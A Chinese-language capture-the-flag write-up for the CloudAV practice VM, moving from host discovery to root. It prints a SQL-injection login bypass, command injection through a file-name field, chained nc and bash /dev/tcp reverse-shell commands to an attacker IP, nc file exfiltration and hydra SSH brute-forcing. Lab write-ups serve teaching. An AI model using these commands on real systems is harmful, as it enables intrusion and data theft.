Contents

打靶-CloudAV

0x00 描述

云反病毒扫描器!是一种基于云的防病毒扫描服务。

目前,它处于测试模式。您被要求测试设置并查找漏洞并升级权限。

难度:容易

涉及的任务:

  • 端口扫描
  • 网络应用程序攻击
  • sql注入
  • 命令注入
  • 蛮力
  • 代码分析

0x01 正式打靶

使用arping来进行主机发现,arping的适用性优于arp-scan,默认安装在linux系统中,arp-scan则是作为一种渗透测试的工具。缺点是无法对一段ip地址进行统一的主机发现,需要与shell脚本结合一下。使用for i in $(seq 1 254);do sudo arping -c 2 10.0.2.$i;done,-c:发送指定的count个ARP REQUEST包后停止。

对主机进行端口扫描。

访问web服务,这里有两种攻击思路,通过SQL注入绕过登录和暴力破解。

使用bp的intruder进行fuzz测试,把键盘上所有的特殊符号作为字典,因为在任何的语言中,键盘上的符号都有特殊的功能,如果存在注入漏洞,当注入特殊符号的时候,就会触发服务器端代码上的问题,造成语法语义上的歧义,从而使服务器无法处理请求,从而发现漏洞,通过触发漏洞,可以找到可能存在的注入漏洞。

返回200代表返回的是错误的信息,而双引号是触发了sqlite的报错。

接着往下看,发现密码是SQL语句拼接的。

构造payload为" or 1=1 --,这样整个sql语句就是select * from code where password="" or 1=1 --",Redirecting to /scan

这里可以指定文件名提交给服务器进行云查杀,这里可以猜想,当我们提交某个文件之后,服务器也是会调用某个命令进行操作,比如:avscan hello,那就意味着能够进行命令执行。测试一下hello|ls(这里一直出不了结果,后来发现靶机比较玄学,太搞心态了。。。,吃完饭回来发现才ok了)

在Linux上通常会使用nc进行网络连接,来查看一下nc命令是否存在:hello | which nc,返回结果为/bin/nc,构造nc -e /bin/sh 10.0.2.4 2333来反弹shell,-e prog 程序重定向,一旦连接,就执行。但是侦听端口并没有返回信息,这里怀疑靶机linux发行版的nc不支持-e这个参数。下面使用nc的串联,这样,连接2333后,在2333输入的指令,都会通过管道符在/bin/bash下解析,再把执行的结果返回到8888端口。

hello| nc 10.0.2.4 2333 | /bin/bash | nc 10.0.2.4 8888

发现可疑文件database.sql,应该是Web应用程序的数据库,执行file命令。

用nc命令把文件下载下来进行查看。

本地:nc -nvlp 9999 > db.sql

靶机:nc 10.0.2.4 9999 < database.sql

发现存储有密码信息。

再利用cat /etc/passwd | grep /bin/bash找出有shell权限的用户,构造用户名和密码的字典,然后使用hydra对ssh进行爆破。hydra -L user.txt -P pass.txt ssh://10.0.2.6,结果失败了。

再次进行信息搜集,在上级目录下发现可疑文件,属主是root,看名字应该是进行avscan的。

C语言文件应该就是源码,这里查看一下。

这里可以构造参数拼接反弹shell的命令进去

./update_cloudav "a | nc 10.0.2.4 1111 | /bin/bash | nc 10.0.2.4 2222"

还有更简单的方法,参照http://www.maidang.cool/2021/54528.html

./update_cloudav "a;echo 'bash -i >& /dev/tcp/10.0.2.4/5555 0>&1' | bash"